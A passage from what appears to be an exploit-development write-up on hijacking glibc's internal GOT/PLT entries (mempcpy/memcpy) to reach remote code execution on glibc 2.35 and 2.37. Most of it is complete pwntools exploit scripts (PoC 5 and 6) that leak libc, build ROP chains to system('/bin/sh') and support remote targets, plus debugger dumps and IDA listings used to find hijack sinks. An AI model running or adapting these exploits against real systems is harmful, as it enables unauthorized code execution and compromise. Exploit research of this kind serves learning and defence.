sys.exit(1)
exp()
Run
Pwned with a 0x1f0-byte payload:

That's 0x10 bytes smaller than the previous solution—thanks to trimming two instruction pointers from the new payload.
Can we shrink it even further? Do read on.
PoC 5
In PoC 5 we still use the same glibc 2.35 environment.
Memcpy
It turns out we don't need to populate every GOT entry. Only one hijacked entry is sufficient to seize control flow.
From the glibc 2.35 _GLOBAL_OFFSET_TABLE_
dump:
pwndbg> tel &_GLOBAL_OFFSET_TABLE_
00:0000│ 0x7ffff7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x218bc0
01:0008│ 0x7ffff7fa7008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7fbb160 —▸ 0x7ffff7d8e000 ◂— 0x3010102464c457f
02:0010│ 0x7ffff7fa7010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7fd8d30 (_dl_runtime_resolve_xsavec) ◂— endbr64
03:0018│ 0x7ffff7fa7018 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
[...]
08:0040│ 0x7ffff7fa7040 (*ABS*@got.plt) —▸ 0x7ffff7f2e980 (__mempcpy_avx_unaligned_erms) ◂— endbr64
[...]
17:00b8│ 0x7ffff7fa70b8 (*ABS*@got.plt) —▸ 0x7ffff7f2b600 (__strchrnul_avx2) ◂— endbr64
[...]
38:01c0│ 0x7ffff7fa71c0 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
39:01c8│ 0x7ffff7fa71c8 ◂— 0x0
In the context of a printf
-based exploit, the mempcpy@plt
entry (eventually calling __mempcpy_avx_unaligned_erms
) serves as the earliest reliable sink point to hijack.
There are other avx instructions called inside
printf
, for example,__memmove_avx_unaligned_erms
called right next to__mempcpy_avx_unaligned_erms
:0x7ffff7db63e4 <*ABS*+0xa97d0@plt+4> bnd jmp qword ptr [rip + 0x1f0c55] <__mempcpy_avx_unaligned_erms> ↓ 0x7ffff7f2e980 <__mempcpy_avx_unaligned_erms> endbr64 0x7ffff7f2e984 <__mempcpy_avx_unaligned_erms+4> mov rax, rdi 0x7ffff7f2e987 <__mempcpy_avx_unaligned_erms+7> add rax, rdx 0x7ffff7f2e98a <__mempcpy_avx_unaligned_erms+10> jmp __memmove_avx_unaligned_erms+7 <__memmove_avx_unaligned_erms+7> ↓ ► 0x7ffff7f2e9c7 <__memmove_avx_unaligned_erms+7> cmp rdx, 0x20 0x7ffff7f2e9cb <__memmove_avx_unaligned_erms+11> jb __memmove_avx_unaligned_erms+48 <__memmove_avx_unaligned_erms+48> ↓ 0x7ffff7f2e9f0 <__memmove_avx_unaligned_erms+48> cmp edx, 0x10 0x7ffff7f2e9f3 <__memmove_avx_unaligned_erms+51> jae __memmove_avx_unaligned_erms+98 <__memmove_avx_unaligned_erms+98>
Backtrace:
► 0 0x7ffff7f2e9f3 __memmove_avx_unaligned_erms+7 1 0x7ffff7e19665 _IO_file_xsputn+101 2 0x7ffff7e19665 _IO_file_xsputn+101 3 0x7ffff7e0314d __vfprintf_internal+285 4 0x7ffff7dee79f __printf+...
Thus, we can safely reuse the remaining GOT space below mempcpy@plt
to host our ROP chain. No need to preserve or repopulate the rest—this cuts down payload size significantly.
Inspection
The printf
implementation internally invokes _IO_file_xsputn
, which subsequently calls mempcpy
to flush data into the FILE
stream buffer.
We can set a breakpoint at __mempcpy_avx_unaligned_erms
during a printf
call to inspect runtime memory:

This clearly shows why hijacking the mempcpy
GOT entry leads to code execution within a printf()
context—it serves as a clean and stealthy sink, parsed by memcpy@plt
(namely *ABS*+0Xa97d0@plt
in the screenshot).
Thus, to trigger PLT0 resolution, we only need to "clean" the GOT entry at offset 0x40
:
08:0040│ 0x7ffff7fa7040 (*ABS*@got.plt) —▸ 0x7ffff7f2e980 (__mempcpy_avx_unaligned_erms) ◂— endbr64
Alternatively, hijack __memmove_avx_unaligned_erms
at offset 0x68
:
0d:0068│ 0x7ffff7fa7068 (*ABS*@got.plt) —▸ 0x7ffff7f2e9c0 (__memmove_avx_unaligned_erms) ◂— endbr64
And so on.
PoC Script
Download: link
# Title : PoC for Hijacking glibc internal GOT/PLT to RCE
# Author : Axura
# Target : GLIBC 2.35-0ubuntu3.4 (Ubuntu 22.04)
# Website : https://4xura.com/pwn/pwn-got-hijack-libcs-internal-got-plt-as-rce-primitives/
# Vuln script : https://github.com/4xura/pwn-libc-got/blob/main/demo/vuln.c
# Tags : PLT0, GOT0, writable _GLOBAL_OFFSET_TABLE_, ROP, system, memcpy@plt
import sys
import inspect
from pwn import *
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delim, drop=True :p.recvuntil(delim, drop)
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu64 = lambda data :u64(data.ljust(8, b"\0"))
def g(gdbscript: str = ""):
if mode["local"]:
gdb.attach(p, gdbscript=gdbscript)
elif mode["remote"]:
gdb.attach((remote_ip_addr, remote_port), gdbscript)
if gdbscript == "":
raw_input()
def pa(addr: int) -> None:
frame = inspect.currentframe().f_back
variables = {k: v for k, v in frame.f_locals.items() if v is addr}
desc = next(iter(variables.keys()), "unknown")
success(f"[LEAK] {desc} ---> {addr:#x}")
class ROPGadgets:
def __init__(self, libc: ELF):
self.rop = ROP(libc)
self.addr = lambda x: self.rop.find_gadget(x)[0] if self.rop.find_gadget(x) else None
self.ggs = {
'p_rdi_r' : self.addr(['pop rdi', 'ret']),
'p_rsi_r' : self.addr(['pop rsi', 'ret']),
'p_rdx_rbx_r' : self.addr(['pop rdx', 'pop rbx', 'ret']),
'p_rax_r' : self.addr(['pop rax', 'ret']),
'p_rsp_r' : self.addr(['pop rsp', 'ret']),
'leave_r' : self.addr(['leave', 'ret']),
'ret' : self.addr(['ret']),
'syscall_r' : self.addr(['syscall', 'ret']),
}
def __getitem__(self, k: str) -> int:
return self.ggs.get(k)
def rop(libc: ELF, rop_chain, pivot) -> (int, bytes):
"""GOT+16 stack pivot to GOT+8 (pushed)"""
global GOT_ET_COUNT
global MEMCPY_GOT_OFFSET
got0 = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt0 = libc.address + libc.get_section_by_name(".plt").header.sh_addr
memcpy_got = got0 + MEMCPY_GOT_OFFSET
pa(got0)
pa(plt0)
pa(memcpy_got)
write_dest = got0 + 8
rop_offset = 0x40
rop_dest = write_dest + rop_offset
write_data = flat({
0x0: rop_dest,
0x8: pivot,
MEMCPY_GOT_OFFSET-8: plt0,
rop_offset: rop_chain,
})
return write_dest, write_data
def exp():
"""
11ee: e8 5d fe ff ff call 1050 <printf@plt>
"""
g("breakrva 0x11ee")
leak = int(ru(b"\n"), 16)
libc_base = leak - libc.sym.printf
pa(libc_base)
libc.address = libc_base
ggs = ROPGadgets(libc)
p_rdi_r = ggs["p_rdi_r"]
p_rax_r = ggs["p_rax_r"]
# 0x000000000002d543: pop rsp; pop r13; pop r14; pop r15; jmp rax;
p_rsp_jmp_rax = libc.address + 0x2d543
safe_rsp = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT") \
+ 0x3000
pa(safe_rsp)
rop_chain = flat(
p_rdi_r,
libc.search(b"/bin/sh\x00").__next__(),
p_rax_r,
libc.sym.system,
p_rsp_jmp_rax,
safe_rsp,
)
pivot = ggs["p_rsp_r"]
write_dest, write_data = rop(
libc,
rop_chain,
pivot
)
s(p64(write_dest))
s(p64(len(write_data)))
s(write_data)
success("Payload written to: {}\nPayload length: {}".format(hex(write_dest), hex(len(write_data))))
# pause()
p.interactive()
if __name__ == '__main__':
"""pwndbg> tel &_GLOBAL_OFFSET_TABLE_ 60
00:0000│ 0x7ffff7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x218bc0
01:0008│ 0x7ffff7fa7008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7fbb160 —▸ 0x7ffff7d8e000 ◂— 0x3010102464c457f
02:0010│ 0x7ffff7fa7010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7fd8d30 (_dl_runtime_resolve_xsavec) ◂— endbr64
03:0018│ 0x7ffff7fa7018 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
04:0020│ 0x7ffff7fa7020 (*ABS*@got.plt) —▸ 0x7ffff7f27790 (__rawmemchr_avx2) ◂— endbr64
[...]
37:01b8│ 0x7ffff7fa71b8 ([email protected]) —▸ 0x7ffff7fde660 (_dl_audit_preinit) ◂— endbr64
38:01c0│ 0x7ffff7fa71c0 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
39:01c8│ 0x7ffff7fa71c8 ◂— 0x0
3a:01d0│ 0x7ffff7fa71d0 ◂— 0x0"""
GOT_ET_COUNT = 0x36
"""08:0040│ 0x7ffff7fa7040 (*ABS*@got.plt) —▸ 0x7ffff7f2e980 (__mempcpy_avx_unaligned_erms) ◂— endbr64"""
MEMCPY_GOT_OFFSET = 0x40
FILE_PATH = "./vuln"
LIBC_PATH = "/usr/lib/x86_64-linux-gnu/libc.so.6"
context(arch="amd64", os="linux", endian="little")
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h'] # ['<terminal_emulator>', '-e', ...]
e = ELF(FILE_PATH, checksec=False)
mode = {"local": False, "remote": False, }
env = None
print("Usage: python3 xpl.py [<ip> <port>]\n"
" - If no arguments are provided, runs in local mode (default).\n"
" - Provide <ip> and <port> to target a remote host.\n")
if len(sys.argv) == 3:
if LIBC_PATH:
libc = ELF(LIBC_PATH)
p = remote(sys.argv[1], int(sys.argv[2]))
mode["remote"] = True
remote_ip_addr = sys.argv[1]
remote_port = int(sys.argv[2])
elif len(sys.argv) == 1:
if LIBC_PATH:
libc = ELF(LIBC_PATH)
env = {
"LD_PRELOAD": os.path.abspath(LIBC_PATH),
"LD_LIBRARY_PATH": os.path.dirname(os.path.abspath(LIBC_PATH))
}
p = process(FILE_PATH, env=env)
mode["local"] = True
else:
print("[-] Error: Invalid arguments provided.")
sys.exit(1)
exp()
Run
We can inspect the final payload layout:

Pwned:

This time, the exploit consumes just 0x70 bytes.
But this isn't the end of the story—do read on.
PoC 6
In PoC 6 we still use the same glibc 2.35 environment.
Jump Gadget
In PoC 5, we positioned the ROP chain starting at offset 0x40
from GOT+8
, which is where our write begins.
This offset is chosen deliberately because we cannot overlap it with the __mempcpy_avx_unaligned_erms
entry, which resides at offset 0x38
from GOT+8
(i.e., 0x40
from the GOT base).
Our ROP payload consists of two segments:
- The actual ROP for
system("/bin/sh")
, which takes up 0x20 bytes.- A secondary stack pivot gadget, which takes 0x10 bytes.
Thus, the total payload size is 0x30 bytes.
If we begin writing at GOT+0x18
(right after the resolver pointer at GOT+0x10
), the input would span up to GOT+0x48
—which overwrites the mempcpy
GOT entry at GOT+0x40
. That'vs unacceptable.
However, we can split the ROP chain to carefully bypass the __mempcpy_avx_unaligned_erms
entry—threading our payload around it with precision.
For this purpose, we can leverage a simple trick with the jumping gadget:
- Begin writing the 0x20-byte ROP chain at GOT+0x18, until GOT+0x38
- Then place a jump gadget at GOT+0x38, for example
pop rxx; ret
(except popping therdi
register we need for exploit) - This means the pivot instruction straddles the 8 bytes before memcpy GOT, but does not overwrite it
- This way, we safely bypass the critical GOT entry by carefully aligning the gadget
A diagram to help understand:
_GLOBAL_OFFSET_TABLE_
+--------------------+
GOT+0x08 | ROP chain addr | <- pushed ROP write start, point to GOT+0X18
GOT+0x10 | pop rsp; ret | <- Faked dynamic resolver
GOT+0x18 | pop rdi; ret | <- 0x20 bytes
GOT+0x20 | "/bin/sh" |
GOT+0x28 | pop rax; ret |
GOT+0x30 | system |
GOT+0x38 | pop rxx; ret | <- 0x8 bytes
GOT+0x38 | __mempcpy_avx GOT | <- Overwrite to PLT0 entry
GOT+0x40 | pop rsp...jmp rax |
GOT+0x48 | safe stack addr |
+--------------------+
PoC Script
Download: link
# Title : PoC for Hijacking glibc internal GOT/PLT to RCE
# Author : Axura
# Target : GLIBC 2.35-0ubuntu3.4 (Ubuntu 22.04)
# Website : https://4xura.com/pwn/pwn-got-hijack-libcs-internal-got-plt-as-rce-primitives/
# Vuln script : https://github.com/4xura/pwn-libc-got/blob/main/demo/vuln.c
# Tags : PLT0, GOT0, writable _GLOBAL_OFFSET_TABLE_, ROP, system, memcpy@plt, jump pivot
import sys
import inspect
from pwn import *
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delim, drop=True :p.recvuntil(delim, drop)
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu64 = lambda data :u64(data.ljust(8, b"\0"))
def g(gdbscript: str = ""):
if mode["local"]:
gdb.attach(p, gdbscript=gdbscript)
elif mode["remote"]:
gdb.attach((remote_ip_addr, remote_port), gdbscript)
if gdbscript == "":
raw_input()
def pa(addr: int) -> None:
frame = inspect.currentframe().f_back
variables = {k: v for k, v in frame.f_locals.items() if v is addr}
desc = next(iter(variables.keys()), "unknown")
success(f"[LEAK] {desc} ---> {addr:#x}")
class ROPGadgets:
def __init__(self, libc: ELF):
self.rop = ROP(libc)
self.addr = lambda x: self.rop.find_gadget(x)[0] if self.rop.find_gadget(x) else None
self.ggs = {
'p_rdi_r' : self.addr(['pop rdi', 'ret']),
'p_rsi_r' : self.addr(['pop rsi', 'ret']),
'p_rdx_rbx_r' : self.addr(['pop rdx', 'pop rbx', 'ret']),
'p_r15_r' : self.addr(['pop r15', 'ret']),
'p_rax_r' : self.addr(['pop rax', 'ret']),
'p_rsp_r' : self.addr(['pop rsp', 'ret']),
'leave_r' : self.addr(['leave', 'ret']),
'ret' : self.addr(['ret']),
'syscall_r' : self.addr(['syscall', 'ret']),
}
def __getitem__(self, k: str) -> int:
return self.ggs.get(k)
def rop(libc: ELF, system_chain, stack_pivot_chain,
jump, pivot) -> (int, bytes):
"""GOT+16 stack pivot to GOT+8 (pushed)"""
global GOT_ET_COUNT
global MEMCPY_GOT_OFFSET
got0 = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt0 = libc.address + libc.get_section_by_name(".plt").header.sh_addr
memcpy_got = got0 + MEMCPY_GOT_OFFSET
pa(got0)
pa(plt0)
pa(memcpy_got)
write_dest = got0 + 8
rop_offset = 0x10
rop_dest = write_dest + rop_offset
write_data = flat({
0x0: rop_dest,
0x8: pivot,
rop_offset: system_chain,
MEMCPY_GOT_OFFSET-0X10: jump,
MEMCPY_GOT_OFFSET-0X8: plt0,
MEMCPY_GOT_OFFSET: stack_pivot_chain,
})
return write_dest, write_data
def exp():
"""
11ee: e8 5d fe ff ff call 1050 <printf@plt>
"""
# g("breakrva 0x11ee")
leak = int(ru(b"\n"), 16)
libc_base = leak - libc.sym.printf
pa(libc_base)
libc.address = libc_base
ggs = ROPGadgets(libc)
p_rdi_r = ggs["p_rdi_r"]
p_rax_r = ggs["p_rax_r"]
# 0x000000000002d543: pop rsp; pop r13; pop r14; pop r15; jmp rax;
p_rsp_jmp_rax = libc.address + 0x2d543
safe_rsp = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT") \
+ 0x3000
pa(safe_rsp)
system_chain = flat(
p_rdi_r,
libc.search(b"/bin/sh\x00").__next__(),
p_rax_r,
libc.sym.system,
)
stack_pivot_chain = flat(
p_rsp_jmp_rax,
safe_rsp,
)
pivot = ggs["p_rsp_r"]
jump = ggs["p_r15_r"]
write_dest, write_data = rop(
libc,
system_chain,
stack_pivot_chain,
jump=jump,
pivot=pivot,
)
s(p64(write_dest))
s(p64(len(write_data)))
s(write_data)
success("Payload written to: {}\nPayload length: {}".format(hex(write_dest), hex(len(write_data))))
# pause()
p.interactive()
if __name__ == '__main__':
"""pwndbg> tel &_GLOBAL_OFFSET_TABLE_ 60
00:0000│ 0x7ffff7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x218bc0
01:0008│ 0x7ffff7fa7008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7fbb160 —▸ 0x7ffff7d8e000 ◂— 0x3010102464c457f
02:0010│ 0x7ffff7fa7010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7fd8d30 (_dl_runtime_resolve_xsavec) ◂— endbr64
03:0018│ 0x7ffff7fa7018 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
04:0020│ 0x7ffff7fa7020 (*ABS*@got.plt) —▸ 0x7ffff7f27790 (__rawmemchr_avx2) ◂— endbr64
[...]
37:01b8│ 0x7ffff7fa71b8 ([email protected]) —▸ 0x7ffff7fde660 (_dl_audit_preinit) ◂— endbr64
38:01c0│ 0x7ffff7fa71c0 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
39:01c8│ 0x7ffff7fa71c8 ◂— 0x0
3a:01d0│ 0x7ffff7fa71d0 ◂— 0x0"""
GOT_ET_COUNT = 0x36
"""08:0040│ 0x7ffff7fa7040 (*ABS*@got.plt) —▸ 0x7ffff7f2e980 (__mempcpy_avx_unaligned_erms) ◂— endbr64"""
MEMCPY_GOT_OFFSET = 0x40
FILE_PATH = "./vuln"
LIBC_PATH = "/usr/lib/x86_64-linux-gnu/libc.so.6"
context(arch="amd64", os="linux", endian="little")
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h'] # ['<terminal_emulator>', '-e', ...]
e = ELF(FILE_PATH, checksec=False)
mode = {"local": False, "remote": False, }
env = None
print("Usage: python3 xpl.py [<ip> <port>]\n"
" - If no arguments are provided, runs in local mode (default).\n"
" - Provide <ip> and <port> to target a remote host.\n")
if len(sys.argv) == 3:
if LIBC_PATH:
libc = ELF(LIBC_PATH)
p = remote(sys.argv[1], int(sys.argv[2]))
mode["remote"] = True
remote_ip_addr = sys.argv[1]
remote_port = int(sys.argv[2])
elif len(sys.argv) == 1:
if LIBC_PATH:
libc = ELF(LIBC_PATH)
env = {
"LD_PRELOAD": os.path.abspath(LIBC_PATH),
"LD_LIBRARY_PATH": os.path.dirname(os.path.abspath(LIBC_PATH))
}
p = process(FILE_PATH, env=env)
mode["local"] = True
else:
print("[-] Error: Invalid arguments provided.")
sys.exit(1)
exp()
Run
The previous diagram already laid out the payload deployment with precision. So this becomes a clean, straightforward pwn with just 0x50 bytes of input:

We've shaved off another 0x20 bytes—but we can, in some cases, to make it even shorter!
One Gadget
How do we save even more space?
One gadget, of course.
But that depends entirely on the specific glibc version in play—we just need to satisfy its constraints.
If it demands additional gadgets to meet preconditions, that could negate the benefit of using it in the first place.
Pass.
PoC 8
In PoC 8, we're testing on glibc 2.36+, specifically, glibc 2.37-0ubuntu2.2 (Ubuntu 23.04):
$ /usr/lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.37-0ubuntu2.2) stable release version 2.37.
Copyright (C) 2023 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 12.3.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
Minimum supported kernel: 3.2.0
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
Small Patch
Starting from glibc 2.36, a crucial patch was introduced—GOT0 becomes non-writable:

However, the GOT entries (after GOT0) still reside in a writable memory page (notice the starting of GOT entry is made to page aligned!), aligned at page boundaries, which leaves room for exploitation in glibc 2.36–2.37 (before stricter patches land in 2.38+).
Direct GOT calls
When GOT0 is read-only, but memory area covering GOT entries are still writable, we look for ROP-capable code paths in glibc itself that directly use GOT calls, where registers (especially rdi
as the first required argument) are already loaded with values pointing to our controlled stack.
In IDA, these libc PLT stubs appear as call j_.*
—representing indirect calls to .*@plt
. As expected, this yields a large number of results:

To extract useful sinks, we can generate a .LST
file from IDA and scan it using the following regex, tailored to spot ROP-suitable call sequences:
.*lea\s+rdi,\s+\[rsp\+.*\n(?:.*\n){0,9}.*call\s+j_.*
This captures patterns where a lea rdi, [rsp+...]
occurs shortly before a call to j_.*
, suggesting a potentially usable callsite with controlled arguments.
Matches found:
.text:0000000000025BF7 lea rdi, [rsp+1060h+var_1051]
.text:0000000000025BFC mov rsi, r13
.text:0000000000025BFF and rdi, 0FFFFFFFFFFFFFFF0h
.text:0000000000025C03 mov [rbp+var_40], rdi
.text:0000000000025C07 call j_mempcpy
.text:00000000000262E9 lea rdi, [rsp+1090h+var_1081]
.text:00000000000262EE mov rsi, r15
.text:00000000000262F1 mov [rbp+var_78], r11
.text:00000000000262F5 and rdi, 0FFFFFFFFFFFFFFF0h
.text:00000000000262F9 mov [rbp+var_70], rcx
.text:00000000000262FD mov byte ptr [rdi+rdx], 0
.text:0000000000026301 call j_memcpy_0
.text:000000000002FB52 lea rdi, [rsp+58h+var_48]
.text:000000000002FB57 call sub_2F990
.text:000000000002FB5C movzx eax, [rsp+58h+var_40]
.text:000000000002FB61 mov rdi, rbx
.text:000000000002FB64 mov [rbp+10h], ax
.text:000000000002FB68 call j_strlen
.text:000000000002FB6D lea rdi, [rax+3]
.text:000000000002FB71 call j_malloc
.text:0000000000030B7E lea rdi, [rsp+1090h+var_1081]
.text:0000000000030B83 mov rdx, rsi
.text:0000000000030B86 mov rsi, r15
.text:0000000000030B89 and rdi, 0FFFFFFFFFFFFFFF0h
.text:0000000000030B8D call j_memcpy_0
.text:0000000000032907 lea rdi, [rsp+1270h+var_1261]
.text:000000000003290C mov rdx, rsi
.text:000000000003290F mov rsi, rbx
.text:0000000000032912 mov [rbp+var_268], r8
.text:0000000000032919 and rdi, 0FFFFFFFFFFFFFFF0h
.text:000000000003291D xor r13d, r13d
.text:0000000000032920 call j_memcpy_0
.text:0000000000034DB4 lea rdi, [rsp+10C0h+var_10B1]
.text:0000000000034DB9 mov rdx, rcx
.text:0000000000034DBC mov rsi, r13
.text:0000000000034DBF mov [rbp+var_88], r10
.text:0000000000034DC6 and rdi, 0FFFFFFFFFFFFFFF0h
.text:0000000000034DCA lea r13, [rbp+var_50]
.text:0000000000034DCE mov [rbp+var_78], rdi
.text:0000000000034DD2 call j_mempcpy
.text:0000000000040C66 lea rdi, [rsp+1040h+var_1031]
.text:0000000000040C6B mov rsi, r12
.text:0000000000040C6E and rdi, 0FFFFFFFFFFFFFFF0h
.text:0000000000040C72 mov byte ptr [rdi+rdx], 0
.text:0000000000040C76 call j_memcpy_0
.text:0000000000042DBF lea rdi, [rsp+138h+var_44]
.text:0000000000042DC7 mov byte ptr [rsp+138h+var_E0], r11b
.text:0000000000042DCC mov rsi, [rax+38h]
.text:0000000000042DD0 mov byte ptr [rsp+138h+var_E8], cl
.text:0000000000042DD4 mov [rsp+138h+var_EC], r9d
.text:0000000000042DD9 mov dword ptr [rsp+138h+var_108], r8d
.text:0000000000042DDE mov [rsp+138h+var_F8], rsi
.text:0000000000042DE3 call j_strncpy
.text:00000000000594B8 lea rdi, [rsp+0D8h+var_58]
.text:00000000000594C0 cmp rdi, rax
.text:00000000000594C3 jnb loc_5A02A
.text:00000000000594C9 sub rax, rdi
.text:00000000000594CC mov esi, 30h ; '0'
.text:00000000000594D1 mov rdx, rax
.text:00000000000594D4 call j_memset
.text:000000000007F7DE lea rdi, [rsp+98h+var_58]
.text:000000000007F7E3 mov rdx, r13
.text:000000000007F7E6 mov rbp, r13
.text:000000000007F7E9 call j_memcpy_0
.text:00000000000999FD lea rdi, [rsp+98h+var_80]
.text:0000000000099A02 mov rcx, r15
.text:0000000000099A05 lea rdx, sub_99710
.text:0000000000099A0C mov [r15], rax
.text:0000000000099A0F mov rax, [r14]
.text:0000000000099A12 mov [r15+8], rax
.text:0000000000099A16 call pthread_create
.text:0000000000099A1B test eax, eax
.text:0000000000099A1D jns short loc_999C3
.text:0000000000099A1F mov rdi, r15
.text:0000000000099A22 call j_free
.text:00000000000A3308 lea rdi, [rsp+0B8h+var_50]
.text:00000000000A330D mov [rsp+0B8h+var_B0], r8
.text:00000000000A3312 call argz_add
.text:00000000000A3317 mov r8, [rsp+0B8h+var_B0]
.text:00000000000A331C mov r15d, eax
.text:00000000000A331F jmp short loc_A32EA
.text:00000000000A3321 align 8
.text:00000000000A3328
.text:00000000000A3328 loc_A3328:
.text:00000000000A3328 mov rdi, rbp
.text:00000000000A332B call j_strlen
.text:00000000000C512F lea rdi, [rsp+188h+var_F0]
.text:00000000000C5137 mov [rsp+188h+var_178], r11
.text:00000000000C513C lea rdx, ds:0[r14*8]
.text:00000000000C5144 call j_memcpy_0
.text:00000000000CCC3D lea rdi, [rsp+36C8h+var_3638]
.text:00000000000CCC45 call j_memcpy_0
.text:00000000000E406E lea rdi, [rsp+15E0h+var_15D8+7]
.text:00000000000E4073 mov rdx, rsi
.text:00000000000E4076 mov rsi, r12
.text:00000000000E4079 and rdi, 0FFFFFFFFFFFFFFF0h
.text:00000000000E407D call j_memcpy_0
.text:00000000000F2AB7 lea rdi, [rsp+0A8h+var_5C]
.text:00000000000F2ABC mov rsi, rbx
.text:00000000000F2ABF mov [rsp+0A8h+var_A0], r9
.text:00000000000F2AC4 mov [rsp+0A8h+var_A8], r10
.text:00000000000F2AC8 call sub_F2560
.text:00000000000F2ACD mov r10, [rsp+0A8h+var_A8]
.text:00000000000F2AD1 mov rdi, [rsp+0A8h+var_A0]
.text:00000000000F2AD6 mov [r10], rax
.text:00000000000F2AD9 call j_free
.text:00000000000F2C73 lea rdi, [rsp+0A8h+var_58]
.text:00000000000F2C78 mov esi, ecx
.text:00000000000F2C7A call sub_EC5D0
.text:00000000000F2C7F mov rdi, qword ptr [rsp+0A8h+var_58+8]
.text:00000000000F2C84 call j_free
.text:00000000000F4BA0 lea rdi, [rsp+0E8h+var_5C]
.text:00000000000F4BA8 call sub_F2D00
.text:00000000000F4BAD mov rsi, [rsp+0E8h+var_C8]
.text:00000000000F4BB2 mov rdi, [rsp+0E8h+var_50]
.text:00000000000F4BBA mov [rsi], rax
.text:00000000000F4BBD call j_free
.text:00000000000F5D04 lea rdi, [rsp+118h+var_7C]
.text:00000000000F5D0C mov rdx, r15
.text:00000000000F5D0F mov rsi, r12
.text:00000000000F5D12 call sub_F2560
.text:00000000000F5D17 mov rdi, [rsp+118h+var_70]
.text:00000000000F5D1F mov [rbx+rbp*8], rax
.text:00000000000F5D23 call j_free
.text:00000000000F75D5 lea rdi, [rsp+2D8h+var_1E8]
.text:00000000000F75DD mov rsi, rbx
.text:00000000000F75E0 mov ecx, eax
.text:00000000000F75E2 call sub_F2D00
.text:00000000000F75E7 mov rdi, qword ptr [rsp+2D8h+var_1D8+8]
.text:00000000000F75EF mov [r14], rax
.text:00000000000F75F2 call j_free
.text:00000000000F81D2 lea rdi, [rsp+2D8h+var_1EC]
.text:00000000000F81DA mov rdx, r13
.text:00000000000F81DD call sub_F2560
.text:00000000000F81E2 mov rdi, qword ptr [rsp+2D8h+var_1E8+8]
.text:00000000000F81EA mov [r14+r12], rax
.text:00000000000F81EE call j_free
.text:0000000000105357 lea rdi, [rsp+5C8h+var_564]
.text:000000000010535C lea r8, [rsp+5C8h+var_558]
.text:0000000000105361 xor ecx, ecx
.text:0000000000105363 lea rsi, aBinSh ; "/bin/sh"
.text:000000000010536A call posix_spawn
.text:000000000010536F mov rdi, [rsp+5C8h+var_4D8]
.text:0000000000105377 mov rax, [rsp+5C8h+var_5B0]
.text:000000000010537C cmp rdi, rax
.text:000000000010537F jz short loc_105386
.text:0000000000105381 call j_free
.text:00000000001060E0 lea rdi, [rsp+1900h+var_18F1]
.text:00000000001060E5 mov rsi, r8
.text:00000000001060E8 and rdi, 0FFFFFFFFFFFFFFF0h
.text:00000000001060EC mov byte ptr [rdi+rdx], 0
.text:00000000001060F0 call j_memcpy_0
.text:0000000000117971 lea rdi, [rsp+21B0h+var_21A1]
.text:0000000000117976 mov rsi, r13
.text:0000000000117979 mov rdx, r14
.text:000000000011797C mov dword ptr [rbp+var_58], r8d
.text:0000000000117980 and rdi, 0FFFFFFFFFFFFFFF0h
.text:0000000000117984 call j_memcpy_0
.text:0000000000117A4E lea rdi, [rsp+21B0h+var_21A1]
.text:0000000000117A53 mov rdx, rcx
.text:0000000000117A56 mov rsi, r13
.text:0000000000117A59 mov [rbp+var_58], r8
.text:0000000000117A5D and rdi, 0FFFFFFFFFFFFFFF0h
.text:0000000000117A61 mov [rbp+var_50], rcx
.text:0000000000117A65 add ebx, 1
.text:0000000000117A68 call j_memcpy_0
.text:0000000000143883 lea rdi, [rsp+68h+var_48]
.text:0000000000143888 mov edx, r14d
.text:000000000014388B call sub_13CB60
.text:0000000000143890 mov r12, [rsp+68h+var_48]
.text:0000000000143895 test r12, r12
.text:0000000000143898 jz loc_1439D0
.text:000000000014389E movsxd rax, [rsp+68h+var_4C]
.text:00000000001438A3 lea rdi, [rax+rax*2]
.text:00000000001438A7 mov dword ptr [rsp+68h+var_68], eax
.text:00000000001438AA shl rdi, 2
.text:00000000001438AE call j_malloc
.text:0000000000144D3E lea rdi, [rsp+288h+var_230]
.text:0000000000144D43 call sub_143BF0
.text:0000000000144D48 mov rbp, rax
.text:0000000000144D4B test rax, rax
.text:0000000000144D4E jz loc_144B87
.text:0000000000144D54 mov edi, 7Fh
.text:0000000000144D59 mov esi, 1
.text:0000000000144D5E call inet_makeaddr
.text:0000000000144D63 mov edi, 10h
.text:0000000000144D68 mov r12d, eax
.text:0000000000144D6B call j_malloc
